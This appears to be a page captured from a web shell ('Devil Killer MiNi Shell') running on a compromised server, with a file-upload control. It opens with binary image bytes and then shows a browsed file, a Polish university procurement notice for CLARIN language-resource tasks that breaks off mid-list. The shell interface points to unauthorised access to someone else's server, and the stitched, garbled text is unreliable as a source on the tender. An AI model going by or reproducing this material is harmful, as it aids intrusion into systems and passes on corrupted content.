JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20230718/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20230718/0031216701-N-2023.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Dostawy<br/> SZP/242-227/2023 Zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” – 20 zadań. </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">POLITECHNIKA WROCŁAWSKA</span></h3> <h3 class="mb-0">1.3.) Oddział zamawiającego: <span class="normal">Dział Zakupów i Zamówień Publicznych</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 000001614</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">wyb. Stanisława Wyspiańskiego 27</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Wrocław</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">50-370</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">dolnośląskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL514 - Miasto Wrocław</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">katarzyna.trela@pwr.edu.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">https://przetargi.pwr.edu.pl/</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - uczelnia publiczna</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Edukacja</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> SZP/242-227/2023 Zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” – 20 zadań. </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-fda1d39c-254b-11ee-a60c-9ec5599dddc1</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2023/BZP 00312167</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2023-07-18</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2023/BZP 00004898/34/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.2.217 Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów.</p> <p class="mb-0">1.2.218 Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN</p> <p class="mb-0">1.2.219 Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe</p> <p class="mb-0">1.2.220 Korekta zrównoleglenia zasobów polsko-litewskich , korekta anotacji zasobów litewskojęzycznych oraz rozbudowa korpusu polsko-litewskiego wraz z anotacją zasobów litewskojęzycznych.</p> <p class="mb-0">1.2.221 Korekta zrównoleglenia zasobów polsko-rosyjskich , korekta anotacji zasobów rosyjskojęzycznych oraz rozbudowa korpusu polsko-rosyjskiego wraz z anotacją zasobów rosyjskojęzycznych.</p> <p class="mb-0">1.2.222 Korekta zrównoleglenia zasobów polsko-bułgarskich , korekta anotacji zasobów bułgarskojęzycznych oraz rozbudowa korpusu polsko-bułgarskiego wraz z anotacją zasobów bułgarskojęzycznych</p> <p class="mb-0">1.2.223 Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego .</p> <p class="mb-0">1.2.224 Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją</p> <p class="mb-0">1.2.225 Korekta zrównoleglenia zasobów polsko-ukraińskich, korekta anotacji zasobów ukraińskojęzycznych oraz rozbudowa korpusu polsko-ukraińskiego wraz z anotacją zasobów ukraińskojęzycznych.</p> <p class="mb-0">1.2.226 Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją</p> <p class="mb-0">1.2.227 Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją</p> <p class="mb-0">1.2.228 Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją</p> <p class="mb-0">1.2.229 Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie</p> <p class="mb-0">1.2.230 Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 25 ram</p> <p class="mb-0">1.2.231 Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram</p> <p class="mb-0">1.2.232 Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram</p> <p class="mb-0">1.2.233 Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram</p> <p class="mb-0">1.2.234 Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 50 ram</p> <p class="mb-0">1.2.235 Akwizycja tekstów do korpusu wulgaryzmów - etap II</p> <p class="mb-0">1.2.236 Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.15.) Nazwa projektu lub programu</h3> <p class="mb-0"> „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki </p> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://ezamowienia.gov.pl/mp-client/search/list/ocds-148610-fda1d39c-254b-11ee-a60c-9ec5599dddc1 <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">1.	W postępowaniu o udzielenie zamówienia publicznego komunikacja między Zamawiającym, a Wykonawcami odbywa się:<br/>1.1	przy użyciu platformy: e-Zamówienia, która jest dostępna pod adresem: https://ezamowienia.gov.pl, w szczególności w zakresie udostępnienia Wykonawcom: Ogłoszeń, SWZ z załącznikami, Informacji dla Wykonawców oraz ZŁOŻENIA Oferty; <br/>1.2. za pomocą poczty elektronicznej katarzyna.trela@pwr.edu.pl, w szczególności w zakresie zadawania pytań, przekazywanie wezwań i zawiadomień.</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">2.	Zamawiający zastrzega, że Oferta może zostać przekazane wyłącznie za pomocą platformy e-Zamówienia<br/>3.	Wykonawca zamierzający wziąć udział w postępowaniu o udzielenie zamówienia publicznego (zamierzający złożyć ofertę) musi posiadać konto z rolą „Wykonawca”, posiadający uprawnienia do składania Ofert, na Platformie e-Zamówienia. Szczegółowe informacje na temat zakładania kont użytkownika oraz zasady i warunki korzystania z Platformy e-Zamówienia określa Regulamin Platformy e-Zamówienia, dostępny na stronie internetowej https://ezamowienia.gov.pl oraz informacje zamieszczone w zakładce „Centrum Pomocy”.<br/>4.	Przeglądanie i pobieranie publicznej treści dokumentacji postępowania nie wymaga posiadania konta na Platformie e-Zamówienia ani logowania.<br/>5.	Użytkownik zalogowany, jako konto uproszczone ma dostępne formularze:<br/>–	Wniosek – służący m. in. do zadawania pytań do SWZ,<br/>–	Inne.<br/>6.	Możliwość korzystania w postępowaniu z „Formularzy do komunikacji” w pełnym zakresie wymaga posiadania konta „Wykonawcy” na Platformie e-Zamówienia oraz zalogowania się na Platformie e-Zamówienia. Do korzystania z „Formularzy do komunikacji” służących do zadawania pytań dotyczących treści dokumentów zamówienia wystarczające jest posiadanie tzw. konta uproszczonego na Platformie e-Zamówienia.<br/>7.	Wszystkie wysłane i odebrane w postępowaniu przez wykonawcę wiadomości widoczne są po zalogowaniu w podglądzie postępowania w zakładce „Komunikacja”.<br/>8.	Minimalne wymagania techniczne dotyczące sprzętu używanego w celu korzystania z usług Platformy e-Zamówienia oraz informacje dotyczące specyfikacji połączenia określa Regulamin Platformy e-Zamówienia.<br/>9.	W przypadku problemów technicznych i awarii związanych z funkcjonowaniem Platformy e-Zamówienia użytkownicy mogą skorzystać z infolinii Platformy e-Zamówienia dostępnej pod numerem telefonu 22 458 77 99 lub drogą elektroniczną poprzez formularz udostępniony na stronie internetowej https://ezamowienia.gov.pl w zakładce „Zgłoś problem”.<br/>10.	Zamawiający nie przewiduje sposobu komunikowania się z Wykonawcami w inny sposób niż przy użyciu środków komunikacji elektronicznej, wskazanych w SWZ.<br/>11.	Zamawiający informuje, że zgodnie z art. 284 ust. 6 uPzp treść zapytań wraz z wyjaśnieniami (bez ujawnienia źródła zapytania) udostępni na stronie internetowej prowadzonego postępowania. Tym samym wszelkie informacje przekazywane Wykonawcom stanowią integralną część specyfikacji warunków zamówienia i dotyczą wszystkich Wykonawców biorących udział w ww. postępowaniu. Wykonawca jest zobowiązany złożyć ofertę uwzględniającą wszelkie zmiany i wyjaśnienia zawarte w Informacjach dla Wykonawców.<br/>12.	Sposób sporządzenia dokumentów elektronicznych, oświadczeń lub elektronicznych kopii dokumentów lub oświadczeń musi być zgody z wymaganiami określonymi w Rozporządzeniem dot. środków komunikacji elektronicznej.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">7.	KLAUZULA INFORMACYJNA o przetwarzaniu danych osobowych w związku z przeprowadzanym postępowaniem o udzielenie zamówienia publicznego<br/>Zgodnie z art. 13 ust. 1-3 rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1), dalej „RODO”, Zamawiający – Politechnika Wrocławska - informuje, że:<br/>7.1	administratorem Pani/Pana danych osobowych jest Politechnika Wrocławska z siedzibą we Wrocławiu (50-370) przy Wy-brzeżu Wyspiańskiego 27, a reprezentują go Rektor i Prorektor ds. Organizacji i Rozwoju Uczelni; o celach i sposobach przetwarzania danych osobowych podawanych w związku z realizacją procedur udzielania zamówień publicznych Politech-niki Wrocławskiej decyduje ona sama jako Administrator danych. <br/>7.2	kontakt z przedstawicielami Administratora możliwy jest przy pomocy formularza i danych umieszczonych na stronie pwr.edu.pl/kontakt. Administrator wyznaczył osobę pełniącą zadania Inspektora Ochrony Danych Osobowych i można się z nim skontaktować poprzez adres e-mail: IOD@pwr.edu.pl.<br/>7.3	Dane osobowe udostępnia administratorowi osoba, której dane dotyczą albo podmiot składający ofertę w postępowaniu jako dane identyfikujące swojego pełnomocnika, osoby do kontaktu, albo jako dane kontaktowe. Dane te przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu wyłonienia wykonawcy w przedmiotowym postępowaniu o zamówienie publiczne. Zakres danych udostępnianych przez pracodawców może być szerszy i obejmować dane o zatrudnieniu czy zakresie obo-wiązków jak np. przy weryfikacji niektórych warunków zamówienia (w tym form zatrudnienia personelu wykonawcy – art. 95 uPzp). <br/>7.4	Pani/Pana dane osobowe będą przechowywane, zgodnie z art. 78 ust. 1 uPzp, przez okres 4 lat od dnia zakończenia postę-powania o udzielenie zamówienia, a jeżeli czas trwania umowy przekracza 4 lata, okres przechowywania obejmuje cały czas trwania umowy, okres przechowywania wynika również z ustawy z dnia 14 lipca 1983 r. o narodowym zasobie archi-walnym i archiwach; postępowania o zamówienie publiczne finansowane ze środków pochodzących z funduszy Unii Euro-pejskiej (UE) przechowywane będą również przez okres wynikający z umów o dofinansowanie projektów finansowanych ze środków pochodzących z UE.<br/>7.5	odbiorcami Pani/Pana danych osobowych będą osoby lub podmioty, którym udostępniona zostanie dokumentacja postępo-wania w oparciu o art. 74 uPzp; ponadto dane osobowe mogą zostać przekazane na zasadach wynikających z ustawy z dnia 6 września 2001 r. o dostępie do informacji publicznej.</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">c.d.<br/>7.6	posiada Pani/Pan:<br/>1.1.1.	na podstawie art. 15 RODO prawo dostępu do treści swoich danych osobowych Pani/Pana dotyczących; <br/>1.1.2.	na podstawie art. 16 RODO prawo do sprostowania Pani/Pana danych osobowych; <br/>1.1.3.	na podstawie art. 18 RODO prawo żądania od administratora ograniczenia przetwarzania danych osobowych z za-strzeżeniem przypadków, o których mowa w art. 18 ust. 2 RODO; <br/>1.1.4.	prawo do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych, gdy uzna Pani/Pan, że przetwarzanie danych osobowych Pani/Pana dotyczących narusza przepisy RODO;<br/>7.7	nie przysługuje Pani/Panu:<br/>1.1.5.	w związku z art. 17 ust. 3 lit. b, d lub e RODO prawo do usunięcia danych osobowych;<br/>1.1.6.	prawo do przenoszenia danych osobowych, o którym mowa w art. 20 RODO;<br/>1.1.7.	na podstawie art. 21 RODO prawo sprzeciwu, wobec przetwarzania danych osobowych, gdyż podstawą prawną przetwarzania Pani/Pana danych osobowych jest art. 6 ust. 1 lit. c RODO. <br/>7.8	w odniesieniu do Pani/Pana danych osobowych decyzje nie będą podejmowane w sposób zautomatyzowany w tym również w formie profilowania, stosowanie do art. 22 RODO;<br/>7.9	obowiązek podania przez Panią/Pana danych osobowych jest wymogiem ustawowym wynikającym z uPzp, związanym z udziałem w postępowaniu o udzielenie zamówienia publicznego i jest warunkiem zawarcia umowy o zamówienie publiczne.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">SZP/242-227/2023</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Dostawy</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">20</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram 